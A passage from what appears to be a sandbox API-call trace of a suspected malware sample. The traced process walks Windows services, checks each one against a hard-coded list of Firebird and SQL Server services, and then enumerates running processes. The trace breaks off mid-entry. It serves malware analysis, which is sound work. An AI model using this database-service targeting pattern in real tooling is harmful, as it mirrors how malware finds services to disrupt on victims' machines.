[0184.636] CloseServiceHandle (hSCObject=0x447af90) returned 1 [0184.636] lstrlenW (lpString="Appinfo") returned 7 [0184.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0184.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0184.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0184.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0184.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0184.636] lstrlenW (lpString="AppXSvc") returned 7 [0184.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0184.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0184.636] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0184.636] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0184.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0184.636] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0184.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.636] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0184.636] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0184.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0184.637] lstrlenW (lpString="Audiosrv") returned 8 [0184.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0184.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0184.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0184.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0184.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0184.637] lstrlenW (lpString="BFE") returned 3 [0184.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0184.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0184.637] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0184.637] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0184.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0184.637] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0184.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.637] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0184.637] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0184.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0184.637] lstrlenW (lpString="CDPSvc") returned 6 [0184.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0184.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0184.637] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0184.637] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0184.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0184.637] lstrlenW (lpString="ClickToRunSvc") returned 13 [0184.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0184.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0184.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0184.638] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0184.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.638] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0184.638] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0184.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0184.638] lstrlenW (lpString="CryptSvc") returned 8 [0184.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0184.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0184.638] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0184.638] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0184.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0184.638] lstrlenW (lpString="DcomLaunch") returned 10 [0184.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.638] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0184.638] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0184.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0184.638] lstrlenW (lpString="DeviceAssociationService") returned 24 [0184.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.638] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0184.638] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0184.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0184.638] lstrlenW (lpString="Dhcp") returned 4 [0184.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0184.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0184.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0184.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0184.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0184.638] lstrlenW (lpString="Dnscache") returned 8 [0184.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0184.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0184.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0184.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0184.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0184.639] lstrlenW (lpString="DPS") returned 3 [0184.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0184.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0184.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0184.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0184.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0184.639] lstrlenW (lpString="DsmSvc") returned 6 [0184.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0184.639] lstrlenW (lpString="DusmSvc") returned 7 [0184.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0184.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0184.639] lstrlenW (lpString="EventLog") returned 8 [0184.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0184.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0184.639] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0184.639] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0184.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0184.639] lstrlenW (lpString="EventSystem") returned 11 [0184.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0184.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0184.639] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0184.640] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0184.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0184.640] lstrlenW (lpString="FontCache") returned 9 [0184.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0184.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0184.640] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0184.640] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0184.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0184.640] lstrlenW (lpString="gpsvc") returned 5 [0184.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0184.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0184.640] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0184.640] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0184.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0184.640] lstrlenW (lpString="iphlpsvc") returned 8 [0184.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.640] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0184.640] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0184.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0184.640] lstrlenW (lpString="KeyIso") returned 6 [0184.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0184.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0184.640] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0184.640] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0184.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0184.640] lstrlenW (lpString="LanmanServer") returned 12 [0184.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0184.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0184.640] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0184.640] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0184.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0184.640] lstrlenW (lpString="LanmanWorkstation") returned 17 [0184.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0184.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0184.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0184.641] lstrlenW (lpString="lfsvc") returned 5 [0184.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0184.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0184.641] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0184.641] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0184.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0184.641] lstrlenW (lpString="lmhosts") returned 7 [0184.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0184.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0184.641] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0184.641] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0184.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0184.641] lstrlenW (lpString="LSM") returned 3 [0184.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0184.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0184.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0184.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0184.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0184.641] lstrlenW (lpString="MpsSvc") returned 6 [0184.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0184.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0184.641] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0184.641] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0184.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0184.641] lstrlenW (lpString="NcbService") returned 10 [0184.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0184.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0184.641] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0184.642] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0184.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0184.642] lstrlenW (lpString="netprofm") returned 8 [0184.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0184.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0184.642] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0184.642] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0184.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0184.642] lstrlenW (lpString="NgcSvc") returned 6 [0184.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0184.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0184.642] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0184.642] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0184.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0184.642] lstrlenW (lpString="NlaSvc") returned 6 [0184.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0184.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0184.642] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0184.642] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0184.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0184.642] lstrlenW (lpString="nsi") returned 3 [0184.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0184.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0184.642] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0184.642] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0184.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0184.642] lstrlenW (lpString="PcaSvc") returned 6 [0184.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0184.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0184.642] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0184.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0184.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0184.642] lstrlenW (lpString="PlugPlay") returned 8 [0184.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0184.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0184.643] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0184.643] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0184.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0184.643] lstrlenW (lpString="Power") returned 5 [0184.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0184.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0184.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0184.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0184.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0184.643] lstrlenW (lpString="ProfSvc") returned 7 [0184.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0184.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0184.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0184.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0184.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0184.643] lstrlenW (lpString="RpcEptMapper") returned 12 [0184.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0184.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0184.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0184.643] lstrlenW (lpString="RpcSs") returned 5 [0184.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0184.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0184.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0184.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0184.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0184.643] lstrlenW (lpString="SamSs") returned 5 [0184.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0184.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0184.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0184.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0184.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0184.644] lstrlenW (lpString="Schedule") returned 8 [0184.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0184.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0184.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0184.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0184.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0184.644] lstrlenW (lpString="SecurityHealthService") returned 21 [0184.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0184.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0184.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0184.644] lstrlenW (lpString="SENS") returned 4 [0184.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0184.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0184.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0184.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0184.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0184.644] lstrlenW (lpString="ShellHWDetection") returned 16 [0184.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0184.644] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0184.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0184.644] lstrlenW (lpString="Spooler") returned 7 [0184.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0184.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0184.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0184.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0184.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0184.645] lstrlenW (lpString="StateRepository") returned 15 [0184.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0184.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0184.645] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0184.645] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0184.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0184.645] lstrlenW (lpString="SysMain") returned 7 [0184.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0184.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0184.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0184.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0184.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0184.645] lstrlenW (lpString="SystemEventsBroker") returned 18 [0184.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0184.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0184.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0184.645] lstrlenW (lpString="Themes") returned 6 [0184.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0184.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0184.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0184.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0184.645] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b20d8 | out: hHeap=0x420000) returned 1 [0184.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x500 [0184.650] Process32FirstW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.650] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0184.650] lstrlenW (lpString="System") returned 6 [0184.651] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0184.651] lstrlenW (lpString="smss.exe") returned 8 [0184.651] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.651] lstrlenW (lpString="csrss.exe") returned 9 [0184.651] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0184.652] lstrlenW (lpString="wininit.exe") returned 11 [0184.652] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.652] lstrlenW (lpString="csrss.exe") returned 9 [0184.652] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0184.653] lstrlenW (lpString="winlogon.exe") returned 12 [0184.653] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, 